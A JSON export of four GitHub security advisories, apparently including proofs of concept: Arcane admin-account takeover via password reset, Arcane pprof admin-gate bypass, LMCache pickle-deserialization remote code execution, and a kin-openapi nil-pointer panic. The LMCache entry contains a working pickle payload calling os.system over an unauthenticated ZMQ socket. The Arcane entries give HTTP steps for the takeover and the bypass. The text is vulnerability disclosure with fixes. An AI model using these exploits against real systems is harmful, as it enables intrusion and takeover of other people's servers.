[{"ghsa_id":"GHSA-pw5q-rjx4-7f7p","cve_id":"CVE-2026-96627","url":"https://api.github.com/advisories/GHSA-pw5q-rjx4-7f7p","html_url":"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/advisories/GHSA-pw5q-rjx4-7f7p","summary":"Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)","description":"## Summary\nA user holding the delegated `users:update` permission can reset the global administrator's password and take over the admin account. `UpdateUser` sets the target user's `PasswordHash` from the request body for ANY target with no comparison of caller-vs-target privilege. Because role assignment and role CRUD are deliberately gated by `RequireGlobalAdmin`, `users:update` is intended to sit BELOW admin (profile management); this finding defeats that separation.\n\n## Root Cause\n`UpdateUser` (handler `backend/api/handlers/users.go:317-323`) loads the target by ID and sets `userModel.PasswordHash` from the request body for any user, then `userService.UpdateUser` (`user_service.go:174`) simply `tx.Save`s — with NO actor-vs-target privilege comparison. The only `IsGlobalAdmin` guard (`user_service.go:345`) is a last-admin check inside `DeleteUser`, not the update path. Role assignment / role CRUD are `RequireGlobalAdmin` (`backend/pkg/authz/permissions.go:27-33`), proving `users:update` is intended below admin.\n\n## Impact\nComplete administrator account takeover (C:H/I:H/A:H) by any holder of the delegated `users:update` permission.\n\n## Proof of Concept\n1. Admin delegates a custom \"User Manager\" role with `users:update`.\n2. `PUT /users/{adminId}` with `{\"password\":\"attacker123\"}`.\n3. `POST /auth/login {\"username\":\"arcane\",\"password\":\"attacker123\"}` → admin session.\n\n## Attack Chain\n1. Action: admin delegates custom role with `users:update`. Guard: role creation is `RequireGlobalAdmin`. Bypass: intended delegation (holder is meant to manage profiles, not seize admin).\n2. Action: `PUT /users/{adminId}` `{\"password\":\"attacker123\"}`. Guard: `RequirePermission(users:update)` (`users.go:154`). Bypass: holder has it; no hierarchy check (`users.go:317-323`, `user_service.go:174` unconditional Save).\n3. Action: `POST /auth/login` as admin → admin session.\n\n## Bypass Evidence\n- `users.go:317-323` sets `PasswordHash` for any target; `user_service.go:174-194` has no actor/target privilege comparison.\n- Only `IsGlobalAdmin` hits are `DeleteUser`'s last-admin guard and DTO flags (grep).\n- `users:update` is org-level, held by no built-in non-admin role (`permissions.go:24`).\n\n## Affected Versions\n`<= 2.5.0`.\n\nReported by **zx (Jace)** — GitHub: @manus-use","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/getarcaneapp/arcane/security-advisories/GHSA-pw5q-rjx4-7f7p","source_code_location":"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/getarcaneapp/arcane","identifiers":[{"value":"GHSA-pw5q-rjx4-7f7p","type":"GHSA"},{"value":"CVE-2026-96627","type":"CVE"}],"references":["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/getarcaneapp/arcane/security/advisories/GHSA-pw5q-rjx4-7f7p","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/getarcaneapp/arcane/pull/3426","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/getarcaneapp/arcane/commit/21ea962f86d967dac8ae02a050f6e5f043d10fa1","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/getarcaneapp/arcane/releases/tag/backend/v2.6.0","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/advisories/GHSA-pw5q-rjx4-7f7p"],"published_at":"2026-10-16T21:15:03Z","updated_at":"2026-10-16T21:15:06Z","github_reviewed_at":"2026-10-16T21:15:03Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/getarcaneapp/arcane/backend/v2"},"vulnerable_version_range":"< 2.6.0","first_patched_version":"2.6.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-266","name":"Incorrect Privilege Assignment"},{"cwe_id":"CWE-269","name":"Improper Privilege Management"}],"credits":[{"user":{"login":"manus-use","id":213290975,"node_id":"U_kgDODLaP3w","avatar_url":"https://avatars.githubusercontent.com/u/213290975?v=4","gravatar_id":"","url":"https://api.github.com/users/manus-use","html_url":"/manus-use","followers_url":"https://api.github.com/users/manus-use/followers","following_url":"https://api.github.com/users/manus-use/following{/other_user}","gists_url":"https://api.github.com/users/manus-use/gists{/gist_id}","starred_url":"https://api.github.com/users/manus-use/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/manus-use/subscriptions","organizations_url":"https://api.github.com/users/manus-use/orgs","repos_url":"https://api.github.com/users/manus-use/repos","events_url":"https://api.github.com/users/manus-use/events{/privacy}","received_events_url":"https://api.github.com/users/manus-use/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8},"epss":{"percentage":0.0029,"percentile":0.20145}},{"ghsa_id":"GHSA-mp22-58ff-6fhr","cve_id":"CVE-2026-96628","url":"https://api.github.com/advisories/GHSA-mp22-58ff-6fhr","html_url":"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/advisories/GHSA-mp22-58ff-6fhr","summary":"Arcane: Environment access token bypasses the admin-required authorization gate on `/api/debug/pprof`","description":"## Summary\n\nArcane v2.10.2 contains an authorization inconsistency in `AuthMiddleware.managerAuth`.\n\nWhen a request supplies a valid environment access token through the `X-Arcane-Agent-Token` header, `managerAuth` resolves the associated environment, installs an environment-scoped permission set, and immediately calls `next(c)`.\n\nThis occurs before the middleware evaluates the `AdminRequired` option and verifies that the caller is a global administrator.\n\nAs a result, an environment-scoped access token can access routes protected with `WithAdminRequired()`, despite the corresponding `EnvironmentPermissionSet` intentionally containing no global or sudo permissions.\n\nIn v2.10.2, the affected admin-only surface is the manager's Go `pprof` diagnostic interface under:\n\n`/api/debug/pprof/*`\n\nThis exposes diagnostic and runtime profiling information that the application explicitly intends to restrict to global administrators.\n\nThe issue is an incorrect authorization vulnerability (CWE-863).\n\n## Details\n\n### 1. Environment access tokens are accepted by the manager authentication middleware\n\nThe production authentication middleware is configured with an environment access-token resolver:\n\n`backend/internal/di/providers.go`\n\nConceptually, the middleware is constructed as:\n\n```go\nauth.NewAuthMiddleware(authService, cfg).\n    WithApiKeyValidator(apiKey).\n    WithEnvironmentAccessTokenResolver(env).\n    WithPermissionResolver(role)\n```\n\nTherefore, the `X-Arcane-Agent-Token` authentication path is active in the production manager.\n\n### 2. The environment-token path returns before authorization options are evaluated\n\nThe relevant logic is in:\n\n`backend/internal/auth/middleware.go`\n\n`managerAuth` first checks the `X-Arcane-Agent-Token` header.\n\nWhen the token resolves to an environment, the middleware installs an environment-scoped permission set and immediately continues processing:\n\n```go\nif agentToken := req.Header.Get(utils.HeaderAgentToken); agentToken != \"\" {\n    if env, ok := m.resolveEnvironmentAccessToken(ctx, agentToken).Get(); ok {\n        environmentScopedInternal(c, env)\n        return next(c)\n    }\n}\n```\n\nThe important part is the unconditional:\n\n```go\nreturn next(c)\n```\n\nThe normal authentication path later evaluates the middleware's `AdminRequired` option:\n\n```go\nps := m.resolvePermissionsOrDeny(ctx, user)\n\nif m.options.AdminRequired && !ps.IsGlobalAdmin() {\n    return c.JSON(http.StatusForbidden, common.APIError{\n        Code:    \"FORBIDDEN\",\n        Message: \"You don't have permission to access this resource\",\n    })\n}\n```\n\nThe environment-token branch never reaches this check.\n\nConsequently, `WithAdminRequired()` has no effect when authentication succeeds through a valid environment access token.\n\nThis creates an authorization inconsistency between authentication mechanisms:\n\n- normal user/session authentication → `AdminRequired` is enforced;\n    \n- environment access-token authentication → `AdminRequired` is bypassed.\n    \n\n### 3. Environment tokens are intentionally not global-administrator credentials\n\n`backend/pkg/authz/permission_set.go` defines the effective permissions assigned to an environment access token.\n\n`EnvironmentPermissionSet(envID)` grants environment-scoped permissions only for the specified environment:\n\n```go\nfunc EnvironmentPermissionSet(envID string) *PermissionSet {\n    ps := NewPermissionSet()\n\n    if envID == \"\" {\n        return ps\n    }\n\n    for _, p := range AllPermissions() {\n        if IsEnvScoped(p) {\n            ps.AddEnv(envID, p)\n        }\n    }\n\n    return ps\n}\n```\n\nThe implementation explicitly establishes that these credentials do not receive global or sudo permissions.\n\nTherefore, an environment access token should not satisfy a global-administrator authorization requirement.\n\nThe early return in `managerAuth` bypasses this intended privilege boundary.\n\n### 4. `/api/debug/pprof/*` explicitly requires global-administrator authorization\n\nThe diagnostic routes are registered in:\n\n`backend/api/ws/diagnostics.go`\n\nThe `pprof` group is protected using:\n\n```go\npprofGroup := group.Group(\n    \"/debug/pprof\",\n    authMiddleware.WithAdminRequired().Add(),\n)\n```\n\nThe source also documents the intended authorization requirement by noting that pprof keeps the stricter admin-required gate.\n\nThe group exposes handlers including:\n\n```text\n/api/debug/pprof/\n/api/debug/pprof/cmdline\n/api/debug/pprof/profile\n/api/debug/pprof/symbol\n/api/debug/pprof/trace\n/api/debug/pprof/heap\n/api/debug/pprof/goroutine\n/api/debug/pprof/allocs\n/api/debug/pprof/block\n/api/debug/pprof/mutex\n/api/debug/pprof/threadcreate\n```\n\nNamed profiles are dispatched through `pprof.Handler`.\n\nBecause `WithAdminRequired()` is bypassed by the environment-token branch, a valid environment access token can reach these handlers even though its permission set is not globally privileged.\n\n### 5. Other middleware does not restore the missing authorization check\n\nThe CSRF middleware recognizes `X-Arcane-Agent-Token` as a header-based credential and does not apply the normal cross-origin CSRF validation to such requests.\n\nAdditionally, the environment proxy middleware passes through requests that do not target an `/environments/{id}/...` path.\n\nTherefore a request to:\n\n```text\n/api/debug/pprof/*\n```\n\ncan proceed to `managerAuth`, enter the environment-token authentication branch, and reach the pprof handler without another global-administrator authorization check being applied.\n\n## Source-to-sink authorization path\n\nThe vulnerable control flow is:\n\n```text\nX-Arcane-Agent-Token\n        |\n        v\nenvironment access token resolver\n        |\n        v\nenvironment resolved successfully\n        |\n        v\nEnvironmentPermissionSet(environmentID)\n        |\n        v\nreturn next(c)\n        |\n        |  AdminRequired check is skipped\n        v\n/api/debug/pprof/*\n        |\n        v\nnet/http/pprof handler\n```\n\nThe security boundary violation occurs at the early `return next(c)`.\n\n## Proof of Concept\n\n### Preconditions\n\nThe test requires:\n\n1. A valid Arcane environment access token.\n    \n2. An Arcane manager running the affected code.\n    \n3. No global-administrator account or credentials.\n    \n\n### Test 1 — environment access token\n\nSend a request to an admin-protected pprof endpoint using only an environment access token:\n\n```http\nGET /api/debug/pprof/heap?debug=1 HTTP/1.1\nHost: arcane.example.com\nX-Arcane-Agent-Token: <VALID_ENVIRONMENT_ACCESS_TOKEN>\n```\n\nNo administrator session cookie or administrator Bearer token is supplied.\n\n### Vulnerable behavior\n\nOn an affected instance, the request is expected to reach the pprof handler instead of being rejected by `WithAdminRequired()`.\n\nA successful response demonstrates that the environment-token authentication branch bypasses the administrator requirement.\n\nFor example, the response may contain the Go heap profiling output generated by `net/http/pprof`.\n\n### Test 2 — non-admin user contrast case\n\nSend the same request using a normal authenticated non-global-admin user:\n\n```http\nGET /api/debug/pprof/heap?debug=1 HTTP/1.1\nHost: arcane.example.com\nAuthorization: Bearer <NON_ADMIN_ACCESS_TOKEN>\n```\n\nThe expected result is:\n\n```http\nHTTP/1.1 403 Forbidden\n```\n\nwith an authorization error indicating that the user does not have permission to access the resource.\n\nThis contrast demonstrates the authorization inconsistency:\n\n```text\nenvironment-scoped token\n        -> admin gate skipped\n        -> pprof handler reached\n\nnormal non-admin user\n        -> admin gate evaluated\n        -> HTTP 403\n```\n\n### Expected secure behavior\n\nA valid environment access token should receive:\n\n```http\nHTTP/1.1 403 Forbidden\n```\n\nfor every route protected with `WithAdminRequired()`.\n\nOnly a caller whose effective permission set satisfies `IsGlobalAdmin()` should be allowed to access these routes.\n\n## Impact\n\nAn attacker who obtains a valid environment access token can cross the intended authorization boundary between an individual environment and manager-wide administrative functionality.\n\nIn the currently identified route configuration, this allows unauthorized access to the manager's Go `pprof` diagnostic endpoints.\n\nDepending on the requested profile, these endpoints can expose internal runtime and diagnostic information such as:\n\n- goroutine stack traces;\n    \n- function and package names;\n    \n- allocation and heap profiling information;\n    \n- CPU profiling information;\n    \n- runtime execution traces;\n    \n- process command-line information;\n    \n- mutex, block, thread and allocation profiling data.\n    \n\nThis information is normally restricted to global administrators by Arcane's explicit use of `WithAdminRequired()`.\n\nSome profiling operations may also impose additional CPU, memory, or tracing overhead while being collected.\n\nImportantly, this report does **not** assume that Go's pprof heap endpoint is an arbitrary raw-process-memory dump. Direct extraction of session tokens, environment access tokens, passwords, or other credentials from pprof output has not been demonstrated and is therefore not claimed as part of the confirmed impact.\n\nThe confirmed security issue is the authorization bypass itself and the resulting unauthorized exposure of administrator-restricted diagnostic functionality.\n\n## Root Cause\n\nThe root cause is that authentication through an environment access token takes an early-success path:\n\n```go\nenvironmentScopedInternal(c, env)\nreturn next(c)\n```\n\nbefore common middleware authorization options are evaluated.\n\nAs a result, authorization requirements configured on the middleware are dependent on which authentication mechanism is used.\n\nAuthentication establishes the identity and scope of the caller, but route-level authorization requirements such as `AdminRequired` should subsequently be applied consistently regardless of the authentication mechanism.\n\n## Remediation\n\nThe environment-token authentication path should not call `next(c)` before the configured authorization requirements have been evaluated.\n\nOne approach is to resolve the environment token into its `EnvironmentPermissionSet` and then pass that permission set through the same authorization-option evaluation used by other authentication mechanisms.\n\nFor example, logically:\n\n```go\nif envTokenIsValid {\n    ps := authz.EnvironmentPermissionSet(env.ID)\n\n    if m.options.AdminRequired && !ps.IsGlobalAdmin() {\n        return forbidden\n    }\n\n    environmentScopedInternal(c, env)\n    return next(c)\n}\n```\n\nBecause an `EnvironmentPermissionSet` intentionally has no global permissions, an environment token would then correctly receive HTTP 403 for `WithAdminRequired()` routes.\n\nAs additional defense in depth, the pprof endpoints could explicitly reject environment access tokens and other environment-scoped authentication mechanisms, allowing access only through authentication mechanisms capable of representing a global administrator.\n\nIt may also be worth considering whether pprof should be exposed in production by default or enabled only through an explicit diagnostic configuration option.\n\n## Regression Tests\n\nThe following cases should be covered:\n\n```text\nValid environment access token\n+ /api/debug/pprof/heap\n=> 403\n\nNormal authenticated non-admin user\n+ /api/debug/pprof/hea\n=> 403\n\nUnauthenticated request\n+ /api/debug/pprof/heap\n=> 401/403\n\nGlobal administrator\n+ /api/debug/pprof/heap\n=> 200\n```\n\nMore generally, tests should verify that every authentication mechanism is subject to middleware options such as `AdminRequired`.\n\nThe issue could also broadly be categorized as an authorization-check bypass caused by inconsistent authorization handling across authentication paths..\n \n\nNo claim of credential extraction, arbitrary process-memory disclosure, or global-administrator takeover is made unless separately demonstrated through dynamic testing.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/getarcaneapp/arcane/security-advisories/GHSA-mp22-58ff-6fhr","source_code_location":"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/getarcaneapp/arcane","identifiers":[{"value":"GHSA-mp22-58ff-6fhr","type":"GHSA"},{"value":"CVE-2026-96628","type":"CVE"}],"references":["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/getarcaneapp/arcane/security/advisories/GHSA-mp22-58ff-6fhr","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/getarcaneapp/arcane/pull/3881","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/getarcaneapp/arcane/commit/4fe4c7ed9483dff7d43e3c4bee6a92037ce886b4","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/getarcaneapp/arcane/releases/tag/backend/v2.11.0","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/advisories/GHSA-mp22-58ff-6fhr"],"published_at":"2026-10-16T21:12:03Z","updated_at":"2026-10-16T21:12:05Z","github_reviewed_at":"2026-10-16T21:12:03Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/getarcaneapp/arcane/backend/v2"},"vulnerable_version_range":"< 2.11.0","first_patched_version":"2.11.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-863","name":"Incorrect Authorization"}],"credits":[{"user":{"login":"gehan-psbc","id":38418027,"node_id":"MDQ6VXNlcjM4NDE4MDI3","avatar_url":"https://avatars.githubusercontent.com/u/38418027?v=4","gravatar_id":"","url":"https://api.github.com/users/gehan-psbc","html_url":"/gehan-psbc","followers_url":"https://api.github.com/users/gehan-psbc/followers","following_url":"https://api.github.com/users/gehan-psbc/following{/other_user}","gists_url":"https://api.github.com/users/gehan-psbc/gists{/gist_id}","starred_url":"https://api.github.com/users/gehan-psbc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gehan-psbc/subscriptions","organizations_url":"https://api.github.com/users/gehan-psbc/orgs","repos_url":"https://api.github.com/users/gehan-psbc/repos","events_url":"https://api.github.com/users/gehan-psbc/events{/privacy}","received_events_url":"https://api.github.com/users/gehan-psbc/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":2,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3},"epss":{"percentage":0.00204,"percentile":0.09669}},{"ghsa_id":"GHSA-w5f2-9q9c-ff4h","cve_id":"CVE-2026-105192","url":"https://api.github.com/advisories/GHSA-w5f2-9q9c-ff4h","html_url":"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/advisories/GHSA-w5f2-9q9c-ff4h","summary":"LMCache: Remote code execution via unsafe deserialization in multiprocess mode transport","description":"### Summary\n\nLMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport\n\n\n\n### Details\n\nLMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.\n\nMessages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.\n\nThe decode path shipped in v0.3.9. It is still present in the latest PyPI release, v0.5.5, in the v0.5.6 release candidates through v0.5.6rc3, and on the dev branch as of 2026-10-07. No fixed version has been published.\n\n\n\n### Proof of concept\n\nStep 1 - Start multiprocess mode bound to a routable address\n\n\nThis is the documented multi-node setting. The ZMQ transport listens on port 5555.\n\n```\n   python -m lmcache.v1.multiprocess.http_server \\\n    --http-host 127.0.0.1 --http-port 8080 \\\n    --host 0.0.0.0 --port 5555 \\\n    --l1-size-gb 0.25 --eviction-policy LRU \\\n    --hash-algorithm blake3 --instance-id mp-node-01\n```\nStep 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle\n\n\nPayload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn.\n\n```\nimport os\nimport pickle\nimport msgspec\nimport zmq\n\nclass EvilPayload:\n    def __init__(self, cmd):\n        self.cmd = cmd\n    def __reduce__(self):\n        return (os.system, (self.cmd,))\n\nevil_pickle = pickle.dumps(EvilPayload(\"id > /tmp/zmq_pwn 2>&1\"))\n\nREGISTER_KV_CACHE = 1\nEXT_CODE = 1\nNUM_PAYLOADS = 7\nKVCACHE_INDEX = 1\n\nb_uid = msgspec.msgpack.encode(0)\nb_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)\npayloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS\npayloads[0] = msgspec.msgpack.encode(0)\npayloads[KVCACHE_INDEX] = msgspec.msgpack.encode(\n    [msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]\n)\nframes = [b_uid, b_type, *payloads]\n```\nStep 3 - Send the frame\n\n\n```\nctx = zmq.Context()\ns = ctx.socket(zmq.DEALER)\ns.connect(\"tcp://127.0.0.1:5555\")\ns.send_multipart(frames)\n```\nThe pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.\n\n\nStep 4 - Confirm the command ran as the LMCache user\n\n\n```\ncat /tmp/zmq_pwn\n```\nExpected output on an official image, where the process runs as root:\n\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nLMCache's multiprocess (MP) mode uses a ZeroMQ transport (port 5555 by default) that does not require authentication. Device IPC descriptors received on this transport were deserialized with `pickle.loads`. An attacker who can reach the transport port can send a single crafted message and execute arbitrary code with the privileges of the LMCache process.\n\nBy default the transport binds to localhost, and single-process (in-process) mode does not open the port. Deployments are exposed when the transport binds a routable address, as multi-node setups do. The project's example Kubernetes deployment bound all interfaces, and official container images ran as root, so deployments based on them should be treated as exposed.\n\nAffected: 0.3.9 through 0.5.5, the 0.5.6 release candidates, and `dev` branch builds before PR #5644.\n\n\n### Patches\n\nFixed in **0.5.6**. Pickle has been replaced with versioned, typed MessagePack descriptors that are validated before use; the device wrapper type is selected from a fixed local allowlist, and there is no pickle fallback. Both the ZeroMQ and gRPC transport paths are covered.\n\nThe wire format has changed: upgrade all workers and servers together.\n\n0.5.6 also binds the example Kubernetes deployment to localhost (PR #5684) and runs official images as a non-root user (PR #5685).\n\n### Workarounds\n\nUntil you can upgrade:\n\n- Do not bind the transport to a routable address; keep it on localhost or a trusted cluster network.\n- Restrict access to the transport port (5555 by default) with firewall rules or network policies.\n- Run LMCache as a non-root user (build from the provided Dockerfile if needed).\n\nIf the transport port was ever reachable from an untrusted network, treat the host as potentially compromised: review connections to the port, check for unexpected processes or outbound connections from the LMCache process, rotate reachable credentials, and redeploy from clean images.","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/LMCache/LMCache/security-advisories/GHSA-w5f2-9q9c-ff4h","source_code_location":"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/LMCache/LMCache","identifiers":[{"value":"GHSA-w5f2-9q9c-ff4h","type":"GHSA"},{"value":"CVE-2026-105192","type":"CVE"}],"references":["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/LMCache/LMCache/security/advisories/GHSA-w5f2-9q9c-ff4h","https://nvd.nist.gov/vuln/detail/CVE-2026-105192","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/LMCache/LMCache/pull/5644","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/LMCache/LMCache/pull/5684","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/LMCache/LMCache/pull/5685","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/LMCache/LMCache/commit/160b6dec469edb765efd1fad42aca5a438b08bb5","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/LMCache/LMCache/commit/62f74c417dfe1ba56761733fd25dc8209a192f20","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/LMCache/LMCache/commit/767c7e367bbdc357c445cf7bd2ed259cff8d5865","https://blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192","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/LMCache/LMCache/blob/v0.3.9/lmcache/v1/multiprocess/custom_types.py","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/LMCache/LMCache/blob/v0.5.5/lmcache/v1/platform/base/ipc_wrapper.py","https://research.jfrog.com/vulnerabilities/lmcache-is-vulnerable-to-unauthenticated-remote-code-execution-via-pickle-deserialization-on-the-multiprocess-zmq-transport-cve-2026-105192-jfsa-2026-001694382","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/advisories/GHSA-w5f2-9q9c-ff4h"],"published_at":"2026-10-16T20:08:44Z","updated_at":"2026-10-16T20:09:11Z","github_reviewed_at":"2026-10-16T20:08:44Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"lmcache"},"vulnerable_version_range":">= 0.3.9, < 0.5.6","first_patched_version":"0.5.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-306","name":"Missing Authentication for Critical Function"}],"credits":[],"comments":0,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"epss":{"percentage":0.00482,"percentile":0.39592}},{"ghsa_id":"GHSA-74vm-87hj-r66f","cve_id":"CVE-2026-100349","url":"https://api.github.com/advisories/GHSA-74vm-87hj-r66f","html_url":"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/advisories/GHSA-74vm-87hj-r66f","summary":"kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content","description":"## Summary\n\n`ValidateResponse` panics on a nil pointer when a spec declares a response header with `content` instead of `schema`. `doc.Validate()` accepts that document, so the crash comes from a spec the library just called valid.\n\nSame class as GHSA-jpcw-4wr7-c3vq, which covered the request-parameter case in v0.144.0; this is the response-header path.\n\nAffects `github.com/getkin/kin-openapi` `<= v0.145.0`. Reproduced on master `947498e5a6bd`, Go 1.26.\n\n## Details\n\nA `content`-typed response header has `headerRef.Value.Schema == nil`.\n\n`validate_response.go:181` passes it straight through:\n\n```go\nif decodedValue, found, err = decodeValue(dec, headerName, sm, headerRef.Value.Schema, headerRef.Value.Required); err != nil {\n```\n\nand `req_resp_decoder.go:273` is where it lands:\n\n```go\nif len(schema.Value.AllOf) > 0 {\n```\n\nTwo things I checked rather than assumed. The response does not need to carry the header; declaring it is enough, and then every call for that operation panics. And the body path is fine, `:114` returns early on a nil schema, so this is headers only. The PoC keeps the body case as a control.\n\n## PoC\n\nDrop into `openapi3filter/` and run:\n\n```\ngo test ./openapi3filter/ -run NilSchema -v\n```\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers\"\n)\n\nconst specBody = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /x:\n    get:\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json: {}\n`\n\nconst specHeader = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /x:\n    get:\n      responses:\n        \"200\":\n          description: ok\n          headers:\n            X-Thing:\n              content:\n                application/json: {}\n`\n\nfunc validatedInput(t *testing.T, spec string, hdr http.Header) *openapi3filter.ResponseValidationInput {\n\tt.Helper()\n\tdoc, err := openapi3.NewLoader().LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tt.Fatalf(\"load: %v\", err)\n\t}\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tt.Fatalf(\"doc.Validate rejected the spec, so this repro proves nothing: %v\", err)\n\t}\n\top := doc.Paths.Find(\"/x\").Get\n\treq := httptest.NewRequest(http.MethodGet, \"/x\", nil)\n\treturn &openapi3filter.ResponseValidationInput{\n\t\tRequestValidationInput: &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req,\n\t\t\tRoute:   &routers.Route{Spec: doc, Operation: op, Method: http.MethodGet, Path: \"/x\"},\n\t\t},\n\t\tStatus: 200,\n\t\tHeader: hdr,\n\t\tBody:   io.NopCloser(strings.NewReader(`{}`)),\n\t}\n}\n\n// Control: body path returns early on a nil schema.\nfunc TestControl_ResponseBodyNilSchema(t *testing.T) {\n\tin := validatedInput(t, specBody, http.Header{\"Content-Type\": {\"application/json\"}})\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Errorf(\"body path panicked, expected clean return: %v\", r)\n\t\t}\n\t}()\n\tif err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {\n\t\tt.Errorf(\"body path returned %v, expected nil\", err)\n\t}\n}\n\n// The response does not carry X-Thing. Declaring the header is enough.\nfunc TestResponseHeaderNilSchema(t *testing.T) {\n\tin := validatedInput(t, specHeader, http.Header{\"Content-Type\": {\"application/json\"}})\n\tif err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {\n\t\tt.Fatalf(\"no panic; got err = %v (already fixed?)\", err)\n\t}\n}\n```\n\nOutput:\n\n```\n=== RUN   TestControl_ResponseBodyNilSchema\n--- PASS: TestControl_ResponseBodyNilSchema (0.00s)\n=== RUN   TestResponseHeaderNilSchema\n--- FAIL: TestResponseHeaderNilSchema (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7f6d2a]\n\ngithub.com/getkin/kin-openapi/openapi3filter.decodeValue(...)\n\t/src/openapi3filter/req_resp_decoder.go:273 +0x4a\ngithub.com/getkin/kin-openapi/openapi3filter.validateResponseHeader(...)\n\t/src/openapi3filter/validate_response.go:181 +0x146\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateResponse(...)\n\t/src/openapi3filter/validate_response.go:89 +0xafa\n```\n\nThe `FAIL` is the point: control passes, the header case takes the binary down.\n\nRan in a container against a fresh clone of master. I have not tried it against a live proxy.\n\n## Impact\n\nA process crash instead of an error return. Declaring the header is enough, so it is every call on that operation rather than an occasional one.\n\nIf the spec comes from somewhere else -- gateways, linters, anything ingesting specs it did not write -- that is a trust boundary, and it becomes remote 